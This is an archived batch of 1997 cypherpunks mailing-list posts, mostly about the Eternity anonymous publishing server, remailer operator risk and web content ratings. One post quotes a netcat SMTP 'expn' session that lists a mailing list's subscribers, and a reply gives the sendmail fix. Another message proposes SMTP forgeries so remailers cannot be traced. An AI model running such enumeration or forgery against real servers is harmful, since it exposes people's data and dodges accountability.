print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 6 Aug 1997 21:50:17 +0800
To: mark@unicorn.com
Subject: Re: Eternity Uncensorable?
In-Reply-To: <Pine.LNX.3.91.970806120354.15807A-100000@cowboy.dev.madge.com>
Message-ID: <199708061308.OAA02171@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




These comments are useful, as eternity needs some documentation, and
I'm supposed to be writing an article for Phrack on this for deadline
of this sunday, and arguing with people is a good way to get
motivation to write explanations etc.  This dual purpose is why this
is a longish post.

Mark Grant <mark@unicorn.com> writes:
> Seems to me there's a fundamental flaw with the current Eternity
> server; as I understand it the messages are identified by a subject
> which is the SHA of their URL, 

yup.

> so all that a government need do to censor a particular site is to
> scan for those messages and issue cancels. Sure, your site and those
> upstream may not accept such messages, but potentially they can
> still wipe out a large fraction of the system or at least force
> users to change their eternity URLs on a regular basis.

Two comments on this:

- I understand cancels are ignored a lot of places, due to problems with
  censorous people, and pranksters issuing tons of forged cancels.
  These censorous people are actually doing us a big favour because it
  is their actions which has led to the widespread policy of ignoring
  cancels.

  However this is going on other peoples information.  I don't have
  any figures for how widespread the practice of configuring news to
  ignore cancels is.  

  Perhaps we could do a little experiment here, you (or someone who
  has the tools/knowhow handy try cancelling the dozen or so eternity
  articles in alt.anonymous.messages, and we'll have a little survey
  amongst list readers as to how well the cancels work.

- Comment #2.  The eternity servers have caches.  They cache
  documents. (This is configurable).  There is currently no cache
  replacement policy because I haven't got around to it yet.  So
  currently once viewed the docs stay there forever.  (When I do get
  around to cache a replacement policy it will be either least
  accessed, and/or lowest ecash payment).

I'm however not so keen to promote the idea that actually the docs you
are looking at are coming off the servers cache because it's nicer to
leave them presuming it was just read off the NNTP server right then
(which it can be at the moment).
   
It's a two stage process at the moment:

   - server reads news at some chosen internval and creates database
     of article number, subject field, and message-id field for
     subject fields which look like eternity documents.

   - some user comes along and types a URL which matches the chosen
     hash.  Server fetches document from NNTP or local news spool
     using the article number as looked up in the database.  Depending
     on the eternity.conf setting for cacheing (on/off/encrypted) and
     the document setting (on/off/encrypted) the document will be
     either not cached, cached in clear, or cached in encrypted form
     (with sha1( 1<url> ) where <url> is the url of the document).

I could change it to a single stage process so that eternity documents
are immediately cached.  This is something easy to change, which could
be done if people got trigger happy with cancels and it was affecting
things.  Then you would be left with cancel wars :-) The eternity
server would grab the article at first opportunity though.

Later versions of the software will have to exchange documents
somehow, so then as long as one server saw the document before someone
cancelled it you'd be ok.

Clearly you could have an email submission channel where you just
email the article to a server, but that gets away from the idea of
pointing the finger at USENET.  (Cacheing is somewhat protected in
legislation even, because it's just a USENET document, and all you're
doing is cacheing it according to some cache replacement policy).

Some more technical explanations of what's going on encryption wise,
is that articles in the news spool have an outer encryption layer
which encrypts in one of these two ways:

   1) with pgp -c and password "eternity"

   2) with pgp -c and password of sha1( "1<url>" ) 
      where url is the document url

Inside this encryption layer is the document options (document url,
per document cacheing policy, and a marker of whether the document is
exdirectory or not (exdirectory docs not listed on document list).
Plus an optional pgp key, and the ascii armored, optionally signed
document.

There is an optional inner layer of encryption, the ascii armored
signed document can optionally be encrypted:

   3) using a user selected passphrase

Option 1) provides little more protection than rot-13.  But should be
of some use in that it prevents the less clued from reading the
documents out of USENET directly.

Option 2) means that you need to know the URL before you can access
the document.  Without the URL, you're hosed.

Perhaps the URL is easy to guess, perhaps it's not:

	http://warez.eternity/safuwerqwkesadfiqwerdsf/

Option 3) means that you need the passphrase to read the document in
addition to the URL.  This has similar effect to having a garbled URL,
choose a hard to guess passphrase.

You can turn on SSL at the eternity server, but that means you're
still trusting the operator, and root on the system.

To do it properly, you'll need a local eternity server if you want to
good security of encrypted documents.  Easy enough to run a local
eternity server if you're using linux on a ppp or permanently
connected machine.  My development machine is a ppp connected linux
machine.

However I'm not sure having passphrases is that good of an idea,
because it'll be furtively passed around amongst the community of the
person who submitted the documents, but that can always leak out.

And people using non-local eternity servers will be revealing the
shared passphrase to the server admin, (and to the snooping world, if
the server isn't running with SSL turned on).

> It also doesn't provide true security, since when someone sets up an 
> illegal site the gubment can find the messages on Usenet, decrypt them, 
> and then threaten the remailer operator who posted them.

Turn of logs, and introduce forward secrecy into mixmaster.  Easy to
do.  Why don't we have it yet?  (Ulf?  Lance?)

Then you have as true security as you can get from a digital mix with
the parameters mixmaster has.

Don't do too many regular updates of your eternty web pages for very
high risk situations.  Engineered network outages could show you up
quickly even if you were using a DC-net covering 1 million users.

> I understand that this is just an alpha release, but I don't see any
> obvious way to fix these problems with a Usenet-based system. 

Does the above answer your concerns about security?

Medium term software development-wise the eternity servers are going
to have to exchange documents between themselves.  At that point
USENET will be functioning mostly as hard to tamper with distribution
channel.  The rest will be a distributed USENET caching system, with
cache policy determined by popularity of document (hit count), and by
ecash payment.

Longer term perhaps some of Ross Anderson's more advanced ideas can be
added, as discussed by Ryan Lackey in the thread entitled "distributed
data store, a la eternity".

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Apache <apache@bear.apana.org.au>
Date: Wed, 6 Aug 1997 12:57:30 +0800
To: cypherpunks@cyberpass.net
Subject: Costitutional Crisis
Message-ID: <199708060450.OAA01177@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



5 Aug 1997 
==========  

Canberra AUSTRALIA

The High Court of Australia in a land mark case today found that
billions of dollars of taxes imposed every year on fuel, alcohol and
tabacco which increases the prices of these products by up to several
hundred percent were illegal and unconstitutional.

The court found that the states had no legal right under the
constitution to impose such taxes.

The federal government has offered to help the states collect the
revenue and pass it back to the states by way of grants. Calls have
been made for the imposition of consumption taxes to replace the lost
revenue.

None of the state premiers made any comments regarding the return of
the multi-billions in illegally collected assets to taxpayers.

The illegal taxes continue to be collected even after the High Courts
ruling.

The finding has resulted in some panicing state premiers saying the
High Court seemed to be intent on making the states ungovernable.

The federal government worried about the possibility that taxpayers
could  sue the states for repayment of mult-billions of dollars in
unconstitutionally collected taxes has announced it plans to
introduce a 100% 'Unjust Windfall Tax' to confiscate the proceeds of
winning claims. Legal experts believe such action by the federal
government may in itself may be in breach of the constitution.

--
Death to Tyrants
Help Austalians re-instate the constitution







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Wed, 6 Aug 1997 22:19:55 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Eternity Uncensorable?
In-Reply-To: <199708061308.OAA02171@server.test.net>
Message-ID: <Pine.LNX.3.91.970806145040.16936A-100000@cowboy.dev.madge.com>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 6 Aug 1997, Adam Back wrote:

>   However this is going on other peoples information.  I don't have
>   any figures for how widespread the practice of configuring news to
>   ignore cancels is.  

Ditto. We'd have to assume that it's pretty widespread to avoid these 
problems.
 
> To do it properly, you'll need a local eternity server if you want to
> good security of encrypted documents. 

I'd assume that in the end this is what most people would do; get a Usenet
feed and run a server locally so that noone knows which URLs you're
accessing. 

> Turn of logs, and introduce forward secrecy into mixmaster.  Easy to
> do.  Why don't we have it yet?  (Ulf?  Lance?)
> 
> Then you have as true security as you can get from a digital mix with
> the parameters mixmaster has.

That's not what I meant; I'm assuming that the mixmaster chain is pretty
secure. The problem is that when the government find 'nuclear terrorist
money-laundering kiddie drug porn' on the Eternity server they can trace
it back to the original Usenet message and then go after the remailer
operator who posted it. Making the remailers disposable or setting them up
in free countries would work, but I'd prefer a technical solution. 

	Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Wed, 6 Aug 1997 20:01:21 +0800
To: cypherpunks@toad.com
Subject: Re: JYA Up
In-Reply-To: <LJVZae1w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970806173954.538C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 5 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> I urge you to find a more honorable upstream provider.
> Preferrably someone who gets connectivity off of AGIS, who doesn't
> censor content.

You don't get connectivity off of AGIS becuase no-one connnects.  AGIS'
routers ect are so misconfigered ect that pagets seem to move threw it
more by coninicdence then anything else.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+gq6KQK0ynCmdStAQGgTAP7BpyHaIamlA3mwEY42gL1hUxV836EtbN+
inmw58XlXSrVOckpKYyOddkv8M+CFtGP1uXr1+unhalmVENcGuLsjCrw/EEICEP1
9TgcCGhVWOerjKg8Qr9VCgutXLUcmhXlhjFzRKYT4n10UdiRq82Mx/L1Da1W/tra
7RvhE7/Igi4=
=aO0S
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Thu, 7 Aug 1997 08:39:53 +0800
To: cypherpunks@toad.com
Subject: MicroGorilla Postpones Rocket-Launch Plans Until..."likely sometime next year."
Message-ID: <199708070027.TAA14764@dfw-ix8.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




>Anonymous wrote:(c)
> > The "Not-News Gorilla NutWork" was rocket-launched in the Mohave Desert
> > early yesterday morning  by a rag-tag bunch of paramilitarist computer
> > gurus who unveiled an InterNet Bill of Bytes that included the words,
> > "MicroSoft shall make no laws..."

Steven Vonder Haar wrote, the very next day:
> Microsoft Corp. has tabled plans to include new technology in its
> Internet Explorer 4.0 browser that would have made "news" oriented
> sites exempt from content rating standards promoted for use on the
> Internet.

>Anonymous wrote:(o)
> > Angered by a self-appointed council of computer industry magnates who
> > have announced their intention to seize fascist control of the quickly
> > burdgeoning Information Highway by controlling the definition of all
> > information, the rebels set up a shooting range which contained a wide
> > variety of targets ranging from copies of the Wall Street Journal to
> > life-sized cardboard cut-outs of a hooded figure referred to only as,
> > "a billionaire to be named later."

Steven Vonder Haar wrote, the very next day:
> RSAC President C. Dianne Martin said Microsoft is running out of time
> to implement the separate designation for news sites before the launch
> of the 4.0 version of Explorer later this year.

>Anonymous wrote:(e)
> >   "We have decided on two classes of ratings." explained a tassle-
> > haired young woman as she slid shells into a Winchester Defender
> > sitting on her lap. "On..." she said, lifting the shotgun with one
> > hand, then liberating the hooded head from a nearby cardboard cut-out,
> > before turning back to say, with a Cheshire grin, "...and _off_."

Steven Vonder Haar wrote, the very next day:
> However, the company
> plans to include the news designation in the 5.0 version of Explorer
> when it is made available..."likely sometime next year."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Thu, 7 Aug 1997 02:21:51 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Eternity Uncensorable?
In-Reply-To: <199708061632.RAA03261@server.test.net>
Message-ID: <Pine.LNX.3.95.970806104749.6869A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 6 Aug 1997, Adam Back wrote:

> Mark Grant <mark@unicorn.com> writes:
> > On Wed, 6 Aug 1997, Adam Back wrote:
> > > To do it properly, you'll need a local eternity server if you want to
> > > good security of encrypted documents. 
> > 
> > I'd assume that in the end this is what most people would do; get a Usenet
> > feed and run a server locally so that noone knows which URLs you're
> > accessing. 
> 
> Indeed.  
> 
> Similar perhaps to web based remailer interfaces, you can turn on SSL,
> but you're still trusting the server, relying on no hackers being able
> to crack it, and relying on your estimate of the authenticity of it's
> certificate
> 
> If there got to be a _lot_ of eternity documents this might get
> impractical.  You wouldn't have the disk space for them all.

This is where I see a problem with eternity servers.

If I were going to attack such a system, I would just start to have the
eternity servers store my core files or some other junk.  (Or maybe feed
it the SIMTEL or funet.fi archives.) Enough crap so that you could not
have enough space to store the real important stuff...

And then, if anyone did delete it out of the Eternity server(s), I would
yell "censorship" to the freedom knights and/or their fellow travelers...

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Thu, 7 Aug 1997 03:03:55 +0800
To: Mark Grant <mark@unicorn.com>
Subject: Re: Eternity Uncensorable?
In-Reply-To: <Pine.LNX.3.91.970806145040.16936A-100000@cowboy.dev.madge.com>
Message-ID: <Pine.SUN.3.96.970806112402.19588B-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 6 Aug 1997, Mark Grant wrote:

> That's not what I meant; I'm assuming that the mixmaster chain is pretty
> secure. The problem is that when the government find 'nuclear terrorist
> money-laundering kiddie drug porn' on the Eternity server they can trace
> it back to the original Usenet message and then go after the remailer
> operator who posted it. Making the remailers disposable or setting them up
> in free countries would work, but I'd prefer a technical solution. 

I suggest using information dispersal to spread risk amongst remailer
operators.  Use Rabin's information dispersal technique to divide up a
document into n shares such that k of them can reconstruct the original,
and post each share via a seperate remailer.  It would be hard for the
government to single out an operator to go after since an individual share
by itself is useless.

If n>k this also increases reliability and resilience of the eternity
service against technical attacks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Adams <jadams@seahawk.navy.mil>
Date: Thu, 7 Aug 1997 01:23:16 +0800
To: Harry Tuttle Remailer <h_tuttle@rigel.cyberpass.net>
Subject: Re: your mail
In-Reply-To: <199707292014.NAA22371@rigel.cyberpass.net>
Message-ID: <Pine.WNT.3.96.970806115952.70a-100000@jadams.seahawk.navy.mil>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 29 Jul 1997, Harry Tuttle Remailer wrote:

> Its pretty straightforward for interested perties to get a list of everyone
> on a mojordomo mailinglist even if the who command is disabled as long as
> we have our old friend sendmail and his trusty sidekick expn.
> 
> nc toad.com 25
> 
> 220 toad.com ESMTP Sendmail 8.7.5/8.7.3;
>  Tue, 29 Jul 1997 12:59:12 -0700 (PDT)
> expn cypherpunks
> 250-<"|/u/majordom/bin/wrapper resend -p bulk  -l cypherpunks -f
> owner-cypherpunks-unedited -h toad.com -s 
> cypherpunks-unedited-outgoing"@toad.com>

if toad.com modified /etc/sendmail.cf to include:

Opnoexpn,novrfy

this wouldn't work. not much of a big mystery there...

---
John Adams -=- Computer Specialist & Network Guru  O-  NADEP Cherry Point
Pensacola Florida   +1.904.452.8551 DSN:922-8551  jadams@seahawk.navy.mil
PGP ID 0x9081AF16 via key server - opinions expressed are entirely my own





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 7 Aug 1997 03:36:46 +0800
To: cypherpunks@toad.com
Subject: Query on cookies
Message-ID: <Pine.GSO.3.95.970806122031.8195G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Does anyone have a detailed understanding of how cookies work? I've read
Netscape's explanation of the protocol, but I still have some questions.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Thu, 7 Aug 1997 03:04:48 +0800
To: chris_barr@cnet.com
Subject: "Voluntary Censorship" vs. Govt Legislation
Message-ID: <33E8C4FA.3E6DDBAC@ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



Chris:

Considering the volume of email you're

receiving on this topic, I doubt that you

will get around to reading this letter.

But for what its worth, the whole idea

of heading off Federal legislation by

policing ourselves is surrendering everything

that we've won from the defeat of the

British in 1776 to the defeat of the CDA.

(a slight overstatement seeing that the

Brits don't seem to have Parliment passing

CDA laws)

Can you imagine going into a library and

having censorship ratings stamped on the

bindings of all the books there?  The

very thought nearly brings tears to my eyes.

Last week I watched Farenheit 451 and

realized how close we are coming to that

sort of society.

If people want their information censored

then they should "donate" money to their

church and have it write filtering software.  This

would be a great way for churches to make

money -- all tax free.  Chances are that

people would be able to find a church that

agrees with their tastes in censorship.  They

may even attend that very organization.

Think about it!  Rather than bland names

such as CyberSitter or NetCop or whatever

you would have a "Parish Priest" that filters

all references to clerical pedophilia, a "Rabbi

Goldberg" that bans everything it considers anti-

semitic and a "Baptist Minister (southern edition)"

that pretty much bans... well .. a lot.  Microsoft

has been trying to sell user agents for a while.  This

would beat the hell out of Bob.  Someone might actually

use it!  You would know exactly what you were getting

and people won't usually sue their church if they should

happen to miss a nasty URL once in a while.

The church agents could also keep a tally of all the

bad information the kids had been protected from and

the nature of the information -- just in case the 'rents

need to save them from mortal peril.

As for the concept of an RSACi rating

for "news sites" that are "officially approved"

I can only say this is the most Orwellian proposal

so far.  After fifty-plus-years of "official"

news I'd say that most people have had a

belly full.  The pure arrogance of such an idea

is simply repulsive.  To call this hypocrisy would

be a affront to hypocrits everywhere.

Rather than discussing this issue with the

government I suggest you take it to a council

of churches where it belongs and not the Feds.

The last time the Feds staged a morality

play they burned twenty children to death.

For an example of how well the media served

the people during that "rescue attempt" I refer

you to charred corpses of little girls at Public

Affair's Waco Holocaust Museum at:

http://www.mnsinc.com/SkyWriter/WacoMuseum/

Would Public Affairs get an official

"news site" stamp of approval?  I thought

not.


---------------------------------------
When the world is running down
   make the best of what's still around
                                -sting







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 7 Aug 1997 05:45:05 +0800
To: cypherpunks@toad.com
Subject: Re: "Voluntary Censorship" vs. Govt Legislation
In-Reply-To: <33E8C4FA.3E6DDBAC@ssds.com>
Message-ID: <19970806141137.51900@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Aug 06, 1997 at 12:39:54PM -0600, Jim Burnes wrote:
[...]
> Can you imagine going into a library and
> having censorship ratings stamped on the
> bindings of all the books there?

This is not a good analogy at all.  Have you ever noticed that there
are "childrens books" sections in the library? In fact, books in
libraries *do* have ratings -- they just use a different technique
than stamping it on the book.

The fact is that realspace allows categorization (censorship, in your
terminology) by spatial location -- something that cyberspace doesn't
support.  You don't complain about physical segregation of children's books,
or keeping children out of bars.

So presumably you wouldn't complain about some technical means of
creating an analog in cyberspace?

If so, then voluntary labelling is not so bad.  Most sites that cater 
to "adult" tastes will label themselves; most sites that explicitly 
cater to children will label themselves; but the vast majority of 
sites won't bother.  The fact that this system is not perfect is not 
an issue -- realspace separation is not perfect either.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 7 Aug 1997 00:41:53 +0800
To: mark@unicorn.com
Subject: Re: Eternity Uncensorable?
In-Reply-To: <199708061308.OAA02171@server.test.net>
Message-ID: <199708061539.QAA02852@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




To follow up to my own post briefly, I said:

: Clearly you could have an email submission channel where you just
: email the article to a server, but that gets away from the idea of
: pointing the finger at USENET.

If the machine hosting the eternity server also has a mail2news
gateway (eg replay has mail2news@replay.com), then modify the
mail2news program to forward a copy to eternity@replay.com for
newsgroups that the eternity server is interested in.

That way it's still a USENET post.  Just you're stacking the odds
against the cancel forger :-) The cancel forger can't get there before
you unless he can read your mind (or your email), but it wouldn't
matter if he could, because eternity would see the document anyway.

http://www.replay.com/aba/eternity/ is reading it's news from
nntp:news.xs4all.nl, but I don't know what their cancel settings are
for their news spool.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Thu, 7 Aug 1997 07:09:23 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: "Voluntary Censorship" vs. Govt Legislation
In-Reply-To: <33E8C4FA.3E6DDBAC@ssds.com>
Message-ID: <33E8FE38.476CD40@ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin wrote:

> On Wed, Aug 06, 1997 at 12:39:54PM -0600, Jim Burnes wrote:
> [...]
> > Can you imagine going into a library and
> > having censorship ratings stamped on the
> > bindings of all the books there?
>
> This is not a good analogy at all.  Have you ever noticed that there
> are "childrens books" sections in the library? In fact, books in
> libraries *do* have ratings -- they just use a different technique
> than stamping it on the book.
>
> The fact is that realspace allows categorization (censorship, in your
> terminology) by spatial location -- something that cyberspace doesn't
> support.  You don't complain about physical segregation of children's
> books,
> or keeping children out of bars.
>
> So presumably you wouldn't complain about some technical means of
> creating an analog in cyberspace?
>
> If so, then voluntary labelling is not so bad.  Most sites that cater
> to "adult" tastes will label themselves; most sites that explicitly
> cater to children will label themselves; but the vast majority of
> sites won't bother.  The fact that this system is not perfect is not
> an issue -- realspace separation is not perfect either.
>
> --
> Kent Crispin                            "No reason to get excited",
> kent@songbird.com                       the thief he kindly spoke...
> PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
> http://songbird.com/kent/pgp_key.html

Actually I have nothing against categorization.  Sci Fi, Dick and Jane,
Romance
Mystery, Horror, Erotica.  Those are categories.  The difference in
Meatspace
is that Mommie and Daddy usually don't let little Susie go to the
bookstore
alone.  If they go with her (the c-space equivalent of watching her
surf)
then they probably won't stand by as she picks up the latest copy of
Lady Chatterly.

As far as I'm concerned parents have a moral duty to filter what their
little ones read, I just don't want the Feds or Microsoft deciding what
the categories are.

Like I said -- most people who care about these things don't mind
if people from their church take the kids to the bookstore.  I assume
that they trust their values.

On the other hand I don't want a "surgeon general's warning" on
Lady Chatterly.  I know you think this is voluntary, but eventually
some parents will get irate over little susie seeing something that
they thought was inappropriately labeled.  A lawsuit will ensue
and then voluntary will be a tautology for mandatory.

It already is in the tax world.  And that, my friend, is the very
thing that Orwell spoke of.  Change the language so that love
means hate, peace means war, good is evil, volutary is mandatory.

As much as I detest censorship I don't have a problem with parents
deciding what their little kids should look at.  In fact I really like
the idea of having churches sell their own filtering software.  What
better way to check your values.

I can't believe the churches haven't thought of this before.  Usually
they don't miss a beat when it comes to generating funds for, ahem,
noble causes.

Maybe I'll suggest it.

Jim

BTW: It looks like communicator is formatting my text correctly again.

---------------------------------------
When the world is running down
   make the best of what's still around
                                -sting






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 7 Aug 1997 08:33:49 +0800
To: cypherpunks@toad.com
Subject: Re: "Voluntary Censorship" vs. Govt Legislation
In-Reply-To: <33E8C4FA.3E6DDBAC@ssds.com>
Message-ID: <19970806170411.10495@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Aug 06, 1997 at 04:44:08PM -0600, Jim Burnes wrote:
[...]
> Actually I have nothing against categorization.  Sci Fi, Dick and Jane,
> Romance Mystery, Horror, Erotica.  Those are categories.  The difference in
> Meatspace is that Mommie and Daddy usually don't let little Susie go to the
> bookstore alone.

I think you missed my point about spatial segregation.  It's not that
I don't let little Susie go to the bookstore alone -- I live 10 miles
from the bookstore, and she *can't* go to the bookstore alone.  In
other words, I don't have to watch her all the time in meatspace,
because there are *safe areas* where I can let her play without
supervision.  You get this kind of "categorization" of space for free
in meatspace -- it's a fundamental topological property that
cyberspace doesn't have. 

And in fact, no parent I know watches their children all the time --
it is simply not possible for most people.  Every parent I know builds
or finds "safe areas" where children can play unsupervised.

[...]

> 
> As far as I'm concerned parents have a moral duty to filter what their
> little ones read,  I just don't want the Feds or Microsoft deciding what
> the categories are.

Neither do I.

[...]

> On the other hand I don't want a "surgeon general's warning" on
> Lady Chatterly.  I know you think this is voluntary, 

No, clearly you don't know what I think.  Please do me the courtesy of
disabusing your mind of that thought.  When I said "voluntary" I meant
voluntary, not some Orwellian variant of the word, OK?  Voluntary.  Not
"mandatory voluntary", not "surgeon general's warning", not
"government approved", not "war is peace".  Voluntary.  So, keeping
your mind firmly wrapped around that, remember that I said I saw value
to voluntary labels.  I did not say I favored government mandated
labels, or Microsoft mandated labels.  Voluntary labels, like the big 
adult sites already use.  Voluntary labels, like the "k12" usenet 
hierarchy. 

[...]

> In fact I really like
> the idea of having churches sell their own filtering software.  What
> better way to check your values.

Filtering and labels are orthogonal (you can filter on things other
than labels), and, of the two, I prefer filtering.  Filtering creates
virtual neighborhoods, and gives a more complex topology to
cyberspace. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 7 Aug 1997 01:42:01 +0800
To: mark@unicorn.com
Subject: Re: Eternity Uncensorable?
In-Reply-To: <Pine.LNX.3.91.970806145040.16936A-100000@cowboy.dev.madge.com>
Message-ID: <199708061632.RAA03261@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain





Mark Grant <mark@unicorn.com> writes:
> On Wed, 6 Aug 1997, Adam Back wrote:
> > To do it properly, you'll need a local eternity server if you want to
> > good security of encrypted documents. 
> 
> I'd assume that in the end this is what most people would do; get a Usenet
> feed and run a server locally so that noone knows which URLs you're
> accessing. 

Indeed.  

Similar perhaps to web based remailer interfaces, you can turn on SSL,
but you're still trusting the server, relying on no hackers being able
to crack it, and relying on your estimate of the authenticity of it's
certificate

If there got to be a _lot_ of eternity documents this might get
impractical.  You wouldn't have the disk space for them all.

The distributed USENET cacheing setup could use cope with a big
archive because the content could also be distributed, and forwarded
on request.  So the complexities of doing something clever to allow
digital mixes to obscure your reading habits might come in again.

Incidentally, I think you could use the same methods to obscure
reading the virtual eternity web as you would use to obscure reading
the real web.  Eg. crowds, www.anonymizer.com.  http://*.eternity/
just happens to be likely to end up hosting a load of "hot" stuff
which you might not want to be caught reading in some countries.

> > Turn of logs, and introduce forward secrecy into mixmaster.  
> 
> That's not what I meant; I'm assuming that the mixmaster chain is
> pretty secure. The problem is that when the government find 'nuclear
> terrorist money-laundering kiddie drug porn' on the Eternity server
> they can trace it back to the original Usenet message and then go
> after the remailer operator who posted it. 

They might have a go at that yes.

> Making the remailers disposable or setting them up in free countries
> would work, but I'd prefer a technical solution.

That _is_ the technical solution!  (Disposable remailers).

Here's a repost of something I posted to remailer-ops on this topic at
around the time a few remailer operators felt the heat.  Nothing new
proposed, but this kind of argument was being hashed out here on
cypherpunks years ago, and we still don't have any disposable
remailers.  As close as we've got that I know is perhaps some
psuedo-anonymous remailer operators running off of cyberpass (Lance
offers anon shell accounts for ecash).

Adam

remailer-ops repost:
======================================================================
From: Adam Back <aba@dcs.ex.ac.uk>
To: mail2news@anon.lcs.mit.edu
Cc: remailer-operators@anon.lcs.mit.edu
Subject: disposable camouflaged tents (was Re: Balls remailer under attack.)
In-reply-to: <199706291539.RAA15722@basement.replay.com> (nobody@REPLAY.COM)
Date: Sun, 29 Jun 1997 23:45:40 +0100


Anonymous writes:
> I'm not sure that's a wise precedent to set.  Once you put the
> self-appointed censors and netcops in the driver's seat, who's to say
> where they might take us?

Agreed.

> [description of censors tatics]
>
> Maybe it's time that the censors were told to keep their noses out
> of our tents, for, like a camel, once you let it put its nose under
> the side of your tent, you soon have the entire camel taking over
> your tent!  Maybe it's time to bop a few intruding noses!

The solution is to have disposable tents, lots of.

What about AOL disks?  We need shorter lived, disposable remailers as
exit remailers...  Let them take the heat, while the real remailers
walk.  Lets see a series of "exitman" remailers.  Exitman remailers
are walking targets left to fend for themselves as long as they may.

I propose that an exit remailer is replaceable, that is another
remailer can instantly step into it's place and take traffic.  The way
to do this is to have a special automated reporting mechanism for
exitman remailers.  An easy way to do it is to have the exitman
remailers send mail to a given mailing list.  Other remailers which
wish to use exitman remailers just subscribe to the chosen mailing
list.  We just need a remailer command indicating the creation of a
new exitman remailer.  I guess the exitman remailer just sends one
message per day, or whatever, and if it stops, you write it off.

Is there a military term for something sent in to get shot to bits,
just to distract attention from other movement?  A decoy?


Also, what about camouflaging the disposable tent, so the camal can't
find it to poke it's nose in?  How about SMTP mail forgeries.
Wouldn't addresses of remailer42@dev.null fool a lot of these censorous
people?

I wonder if system admins in general would be very interested in
tracking down SMTP forgeries for censors?  If it was obvious what the
censorous shill was up to, or the large ISP sysadmin was just plain
overloaded with work he may just shrug his shoulders and say sorry,
can't be traced, get over it.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
